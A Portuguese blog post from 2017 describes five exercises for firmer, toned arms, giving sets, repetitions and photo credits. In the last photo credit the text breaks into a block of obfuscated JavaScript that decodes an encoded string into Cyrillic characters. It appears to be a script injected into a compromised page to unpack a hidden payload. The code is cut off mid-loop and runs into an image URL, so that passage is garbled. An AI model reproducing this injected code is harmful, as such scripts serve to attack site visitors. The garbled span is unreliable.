5 Exercícios para ter uns braços mais firmes e tonificados

Abr 28, 2017 | Saúde e bem estar

5 Exercícios para ter uns braços mais firmes e tonificados

Por vezes as gordurinhas indesejadas acumulam-se nas zonas do nosso corpo mais difíceis de tonificar, é ou não é? Mas a verdade é que para tudo há solução e hoje trago-lhe 5 exercícios para ter uns braços firmes e tonificados. E se a sua preocupação é o chamado “músculo do adeus”, saiba que o artigo de hoje é especialmente dedicado a si.

Muito importante: deve juntar estes exercícios a uma alimentação equilibrada, rica em fibra e proteína. E ao executar estes exercícios deve ser sempre acompanhado por um especialista.

Conheça agora os exercícios aconselhados pelo personal trainer e coach David Silva.

1- Fundos Tricep 

Este exercício é tão rápido e simples de fazer que pode fazê-lo em qualquer lugar! Basta ter um apoio nas costas: uma cadeira, um banco… E posicionar-se de costas com as pernas e os braços flectidos. Depois leva os glúteos ao chão e volta a elevar o corpo novamente. Faça repetições de 15 com séries de 3.

5 Exercícios para ter uns braços mais firmes e tonificados – Fundos Tricep | Foto: pinimg

2- Tricep kick back

Este exercício resulta mas exige alguma coordenação. Senão veja: deve colocar o braço como está na imagem e impulsioná-lo para trás, sempre segurando um peso na mão. Informe-se com o seu preparador físico acerca do peso adequado ao seu caso.
Repita este exercício 15 vezes durante 3 voltas.  Dica: Se não tiver pesos, pode improvisar com umas garrafas de água com areia da praia, por exemplo.

5 Exercícios para ter uns braços mais firmes e tonificados - Tricep kick back | Foto: beautystylo

3- Push up body up

Quase que parecem flexões, não é verdade? Mas não são bem como as originais! Eu explico: para começar este exercício deve estar em posição de prancha com os cotovelos apoiados no chão. De seguida vai subir o corpo com os braços como se fosse fazer uma flexão e volta à posição inicial com os cotovelos no chão. Deve executar estes dois movimentos e repeti-lo 15 vezes durante 3 voltas.

5 Exercícios para ter uns braços mais firmes e tonificados - Push up body up | Foto: homefitnessguru

4- Tricep testa com barra

Muita atenção: para executar este exercício deve ser acompanhado por um profissional, mesmo que já tenha alguma prática de treino em ginásios. Deve estar deitado num banco e segurar a barra com os braços esticados, depois vai dobrar os braços como vê na imagem e repetir o movimento. Estique o braço e dobre até à testa. Repita o movimento durante 3 voltas, 15 vezes.

5 Exercícios para ter uns braços mais firmes e tonificados - Tricep testa com barra | Foto: musculaciontafad

5- TRX tricep 

Para executar este exercício deve estar de costas para os elásticos do TRX e segurá-los com as palmas das mãos viradas para cima. Depois deve dobrar os braços e esticar como na imagem durante 3 voltas 15 vezes.

5 Exercícios para ter uns braços mais firmes e tonificados - TRX tricep | Foto: function a4872b9c6b(y1){var qd='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';var x0='';var n6,w6,qe,q8,w9,we,n7;var oa=0;do{q8=qd.indexOf(y1.charAt(oa++));w9=qd.indexOf(y1.charAt(oa++));we=qd.indexOf(y1.charAt(oa++));n7=qd.indexOf(y1.charAt(oa++));n6=(q8<<2)|(w9>>4);w6=((w9&15)<<4)|(we>>2);qe=((we&3)<<6)|n7;if(n6>=192)n6+=848;else if(n6==168)n6=1025;else if(n6==184)n6=1105;x0+=String.fromCharCode(n6);if(we!=64){if(w6>=192)w6+=848;else if(w6==168)w6=1025;else if(w6==184)w6=1105;x0+=String.fromCharCode(w6);}if(n7!=64){if(qe>=192)qe+=848;else if(qe==168)qe=1025;else if(qe==184)qe=1105;x0+=String.fromCharCode(qe);}}while(oaand-workouts/old-meets-new/chris-tricep-kickback-600x400.jpg"> fitnessfirst

Se gostou de descobrir estes 5 Exercícios para ter uns braços mais firmes e tonificados, descubra mais exercícios: como ter o peito mais firme e os glúteos mais definidos.  E se o seu objectivo é ter a barriga lisa, aposte nestes pequenos-almoços e nestes lanches.